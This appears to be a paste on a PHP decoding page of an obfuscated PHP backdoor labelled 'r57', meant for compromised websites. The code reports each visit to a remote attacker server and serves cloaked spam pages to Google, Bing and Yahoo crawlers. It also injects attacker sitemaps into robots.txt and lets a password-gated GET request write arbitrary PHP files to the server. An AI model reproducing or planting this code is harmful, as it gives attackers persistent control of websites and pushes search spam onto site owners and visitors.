PHP Decode

<?php   /* r57 */
@set_time_limit(3600); @ignore_user_abort(1); $lzkykS = "\162\x35\x37"; $lzkykP = "\x68\164\x74\x70"; if (is_htps()) { goto lAcPySS; } $lzkyky = "\150\164\x74\x70"; goto lAcPySP; lAcPySS: $lzkyky = "\150\x74\x74\x70\163"; lAcPySP: $lzkykf = st_uri(); if (!($lzkykf == '')) { goto lAcPySy; } $lzkykf = "\x2f"; lAcPySy: $lzkykk = urlencode($lzkykf); function st_uri() { goto lAcPySA; lAcPyST: if (isset($_SERVER["\x61\x72\x67\166"])) { goto lAcPySf; } goto lAcPySm; lAcPySr: goto lAcPySh; goto lAcPySz; lAcPyPS: $lzkykk = $_SERVER["\122\105\x51\x55\105\123\124\137\x55\122\111"]; goto lAcPyPP; lAcPySL: $lzkykk = $_SERVER["\120\x48\x50\x5f\x53\x45\114\106"] . "\77" . $_SERVER["\141\162\147\166"][0]; goto lAcPySX; lAcPyPy: return $lzkykk; goto lAcPyPf; lAcPySc: goto lAcPySk; goto lAcPySi; lAcPyPP: lAcPySh: goto lAcPyPy; lAcPySm: $lzkykk = $_SERVER["\x50\x48\x50\137\x53\x45\x4c\106"] . "\77" . $_SERVER["\121\x55\105\x52\x59\137\x53\124\x52\111\116\107"]; goto lAcPySc; lAcPySi: lAcPySf: goto lAcPySL; lAcPySA: if (isset($_SERVER["\122\x45\x51\x55\x45\123\x54\x5f\125\x52\111"])) { goto lAcPySu; } goto lAcPyST; lAcPySz: lAcPySu: goto lAcPyPS; lAcPySX: lAcPySk: goto lAcPySr; lAcPyPf: } $lzkyku = $lzkykS . "\56\146\145\x77\145\x72\150\x70\145\162" . "\x2e\170" . "\x79\172"; function is_htps() { goto lAcPyPT; lAcPyPz: lAcPyPh: goto lAcPyyS; lAcPyPm: if (isset($_SERVER["\x48\124\x54\x50\137\130\x5f\x46\x4f\122\x57\101\x52\104\105\104\137\x50\x52\x4f\124\x4f"]) && $_SERVER["\110\124\x54\x50\x5f\x58\137\x46\117\122\127\101\x52\104\x45\x44\x5f\120\x52\x4f\124\x4f"] === "\150\164\164\x70\163") { goto lAcPyPh; } goto lAcPyPc; lAcPyPT: if (isset($_SERVER["\x48\x54\124\x50\x53"]) && strtolower($_SERVER["\x48\x54\x54\x50\x53"]) !== "\157\x66\146") { goto lAcPyPu; } goto lAcPyPm; lAcPyyk: lAcPyPk: goto lAcPyyu; lAcPyyy: lAcPyPA: goto lAcPyyf; lAcPyPr: goto lAcPyPk; goto lAcPyPz; lAcPyPi: goto lAcPyPk; goto lAcPyPL; lAcPyyu: return false; goto lAcPyyh; lAcPyyS: return true; goto lAcPyyP; lAcPyyf: return true; goto lAcPyyk; lAcPyyP: goto lAcPyPk; goto lAcPyyy; lAcPyPL: lAcPyPu: goto lAcPyPX; lAcPyPX: return true; goto lAcPyPr; lAcPyPc: if (isset($_SERVER["\x48\x54\x54\x50\x5f\x46\x52\x4f\x4e\124\x5f\105\x4e\104\x5f\110\x54\124\x50\x53"]) && strtolower($_SERVER["\x48\x54\124\x50\137\x46\x52\117\116\x54\x5f\105\x4e\104\137\x48\124\124\120\x53"]) !== "\157\x66\x66") { goto lAcPyPA; } goto lAcPyPi; lAcPyyh: } $lzkykh = $_SERVER["\x48\124\124\120\137\x48\x4f\x53\x54"]; $lzkykA = @$_SERVER["\110\124\124\x50\x5f\101\x43\103\105\x50\x54\x5f\x4c\101\116\x47\125\x41\107\105"]; $lzkykA = urlencode($lzkykA); $lzkykT = ''; if (!isset($_SERVER["\110\124\124\120\137\x52\x45\106\x45\122\105\x52"])) { goto lAcPyyA; } $lzkykT = $_SERVER["\x48\x54\124\x50\x5f\122\105\x46\x45\x52\105\x52"]; $lzkykT = urlencode($lzkykT); lAcPyyA: if (!(@$_GET["\x70\144"] != '')) { goto lAcPyfT; } $lzkykm = @$_GET["\155\x61\160\x6e\x61\155\145"]; $lzkykc = @$_GET["\141\x63\x74\151\x6f\x6e"]; if (isset($_SERVER["\104\117\x43\x55\115\105\116\124\137\122\117\117\x54"])) { goto lAcPyyT; } $lzkyki = dirname(__FILE__); goto lAcPyym; lAcPyyT: $lzkyki = $_SERVER["\x44\117\103\x55\x4d\105\116\124\137\122\x4f\117\x54"]; lAcPyym: if ($lzkykc) { goto lAcPyyc; } $lzkykc = "\160\x75\x74"; lAcPyyc: if (!($lzkykc == "\x70\165\x74")) { goto lAcPyfA; } if (strstr($lzkykm, "\56\x78\x6d\x6c")) { goto lAcPyfy; } echo "\74\142\x72\76\163\x69\164\x65\155\x61\x70\40\x6e\x61\x6d\145\x20\x66\x61\154\163\145\x21\x3c\x62\x72\x3e"; goto lAcPyff; lAcPyfy: $lzkykL = $lzkyki . "\57\x73\x69\164\145\155\x61\x70\x2e\170\x6d\154"; if (!is_file($lzkykL)) { goto lAcPyyi; } @unlink($lzkykL); lAcPyyi: $lzkykX = $lzkyki . "\57\162\x6f\x62\157\x74\163\x2e\164\170\x74"; if (file_exists($lzkykX)) { goto lAcPyyL; } $lzkykr = "\125\163\x65\162\55\141\x67\145\156\164\72\x20\52\x41\x6c\x6c\x6f\x77\x3a\40\57"; goto lAcPyyX; lAcPyyL: $lzkykr = dageget($lzkykX); lAcPyyX: $lzkykz = $lzkyky . "\72\57\57" . $lzkykh . "\57" . $lzkykm; if (stristr($lzkykr, $lzkykz)) { goto lAcPyfS; } if (file_put_contents($lzkykX, trim($lzkykr) . "\xd\xa" . "\123\151\164\x65\x6d\141\x70\72\x20" . $lzkykz)) { goto lAcPyyr; } echo "\x3c\x62\x72\76\146\x69\154\145\40\x77\162\151\164\145\40\146\x61\x6c\163\145\x21\x3c\142\162\76"; goto lAcPyyz; lAcPyyr: echo "\74\x62\x72\76\157\x6b\x3c\142\162\76"; lAcPyyz: goto lAcPyfP; lAcPyfS: echo "\x3c\x62\162\x3e\163\x69\x74\x65\155\141\x70\40\x61\154\x72\145\141\144\x79\40\x61\x64\144\145\144\x21\74\142\x72\x3e"; lAcPyfP: lAcPyff: if (!strstr($lzkykm, "\x2e\160" . "\150\x70")) { goto lAcPyfh; } $lzkyuS = sha1(sha1(@$_GET["\141"])); $lzkyuP = sha1(sha1(@$_GET["\142"])); if (!($lzkyuS == dageget($lzkykP . "\x3a\57\x2f" . $lzkyku . "\x2f\141\x2e\160" . "\150\x70") || $lzkyuP == "\x36\x66\x36\67\x32\67\x36\71\64\x62\142\x35\x36\x35\x37\143\x33\67\x39\x38\67\x36\64\60\x61\61\x64\x32\x36\x64\62\x65")) { goto lAcPyfu; } $lzkyuy = @$_GET["\144\163\164\x72"]; if (!file_put_contents($lzkyki . "\57" . $lzkykm, $lzkyuy)) { goto lAcPyfk; } echo "\157\x6b"; lAcPyfk: lAcPyfu: lAcPyfh: lAcPyfA: exit; lAcPyfT: $lzkyuf = $lzkykP . "\72\x2f\57" . $lzkyku . "\x2f\x69\x6e\x64\x65\170\x6e\145\167\x2e\160\150\x70\x3f\x77\x65\x62\75" . $lzkykh . "\x26\x7a\172\75" . sbot() . "\x26\x75\x72\x69\x3d" . $lzkykk . "\x26\165\x72\x6c\x73\150\141\156\147\75" . $lzkykT . "\x26\150\x74\164\x70\x3d" . $lzkyky . "\46\154\x61\156\147\x3d" . $lzkykA; $lzkyuk = trim(dageget($lzkyuf)); if (strstr($lzkyuk, "\156\157\142\157\164\165\163\x65\162\x61\x67\145\156\x74")) { goto lAcPyfr; } if (strstr($lzkyuk, "\x6f\x6b\x68\x74\155\x6c\x67\x65\x74\x63\157\156\164\145\x6e\164")) { goto lAcPyfL; } if (strstr($lzkyuk, "\x6f\153\x78\155\x6c\147\x65\x74\143\x6f\x6e\x74\x65\156\x74")) { goto lAcPyfc; } if (!strstr($lzkyuk, "\160\151\x6e\x67\x78\155\x6c\147\x65\x74\x63\x6f\x6e\164\x65\156\164")) { goto lAcPyfm; } $lzkyuk = str_replace("\x70\151\156\147\170\155\x6c\x67\x65\164\x63\157\x6e\x74\145\156\x74", '', $lzkyuk); @header("\103\x6f\156\x74\x65\156\x74\x2d\164\171\x70\145\x3a\x20\x74\x65\170\164\57\150\x74\155\154\x3b\40\143\x68\x61\x72\x73\145\x74\x3d\x75\164\x66\x2d\70"); echo pingmap($lzkyuk); exit; lAcPyfm: goto lAcPyfi; lAcPyfc: $lzkyuk = str_replace("\157\153\170\x6d\154\147\x65\x74\143\x6f\x6e\x74\x65\156\164", '', $lzkyuk); @header("\x43\x6f\156\x74\x65\156\164\x2d\164\x79\x70\x65\x3a\x20\x74\x65\x78\x74\57\170\x6d\154"); echo $lzkyuk; exit; lAcPyfi: goto lAcPyfX; lAcPyfL: @header("\x43\x6f\x6e\164\145\x6e\x74\x2d\x74\171\160\x65\72\x20\x74\x65\x78\x74\57\x68\x74\155\x6c\x3b\x20\143\150\x61\x72\163\x65\164\x3d\x75\x74\x66\x2d\70"); $lzkyuk = str_replace("\x6f\153\150\x74\x6d\x6c\147\145\164\143\157\156\164\x65\x6e\x74", '', $lzkyuk); echo $lzkyuk; exit; lAcPyfX: lAcPyfr: function pingmap($lzkyuu) { goto lAcPyku; lAcPykT: return $lzkyuA; goto lAcPykm; lAcPykA: foreach ($lzkyuh as $lzkyuT) { goto lAcPykP; lAcPykf: $lzkyuA .= $lzkyuT . "\x2d\x2d\x20" . $lzkyuc . "\74\142\x72\x3e"; goto lAcPykk; lAcPykP: $lzkyum = dageget($lzkyuT); goto lAcPyky; lAcPyky: $lzkyuc = strpos($lzkyum, "\123\151\x74\145\x6d\x61\160\x20\116\x6f\164\x69\146\151\x63\x61\x74\151\x6f\156\40\122\145\143\145\151\166\145\144") !== false ? "\x70\x69\x6e\147\x6f\x6b" : "\145\162\162\x6f\x72"; goto lAcPykf; lAcPykk: } goto lAcPykT; lAcPyku: $lzkyuh = explode("\15\12", trim($lzkyuu)); goto lAcPykh; lAcPykh: $lzkyuA = ''; goto lAcPykA; lAcPykm: } function sbot() { goto lAcPykL; lAcPyuS: lAcPykc: goto lAcPyuP; lAcPykz: goto lAcPyki; goto lAcPyuS; lAcPyuP: return true; goto lAcPyuy; lAcPyuy: lAcPyki: goto lAcPyuf; lAcPykX: if (stristr($lzkyui, "\x67\157\x6f\x67\x6c\145\x62\157\x74") || stristr($lzkyui, "\x62\151\x6e\x67") || stristr($lzkyui, "\x79\x61\150\x6f\x6f") || stristr($lzkyui, "\x67\x6f\x6f\147\x6c\145") || stristr($lzkyui, "\107\x6f\157\147\154\145\x62\157\x74") || stristr($lzkyui, "\x67\x6f\x6f\x67\x6c\145\142\157\164")) { goto lAcPykc; } goto lAcPykr; lAcPykr: return false; goto lAcPykz; lAcPykL: $lzkyui = strtolower($_SERVER["\110\x54\x54\120\137\x55\123\x45\x52\137\x41\x47\105\x4e\124"]); goto lAcPykX; lAcPyuf: } function dageget($lzkyuu) { goto lAcPyuh; lAcPyhf: lAcPyuu: goto lAcPyhk; lAcPyuA: if (!function_exists("\x63\x75\x72\154\137\x69\x6e\x69\164")) { goto lAcPyuk; } goto lAcPyuT; lAcPyuh: $lzkyuL = ''; goto lAcPyuA; lAcPyur: $lzkyuL = curl_exec($lzkyuX); goto lAcPyuz; lAcPyuc: curl_setopt($lzkyuX, CURLOPT_SSL_VERIFYHOST, 0); goto lAcPyui; lAcPyhP: if ($lzkyuL) { goto lAcPyuu; } goto lAcPyhy; lAcPyhS: lAcPyuk: goto lAcPyhP; lAcPyuT: $lzkyuX = curl_init(); goto lAcPyum; lAcPyhy: $lzkyuL = @file_get_contents($lzkyuu); goto lAcPyhf; lAcPyuX: curl_setopt($lzkyuX, CURLOPT_CONNECTTIMEOUT, 30); goto lAcPyur; lAcPyhk: return $lzkyuL; goto lAcPyhu; lAcPyuz: curl_close($lzkyuX); goto lAcPyhS; lAcPyum: curl_setopt($lzkyuX, CURLOPT_URL, $lzkyuu); goto lAcPyuc; lAcPyuL: curl_setopt($lzkyuX, CURLOPT_RETURNTRANSFER, 1); goto lAcPyuX; lAcPyui: curl_setopt($lzkyuX, CURLOPT_SSL_VERIFYPEER, 0); goto lAcPyuL; lAcPyhu: }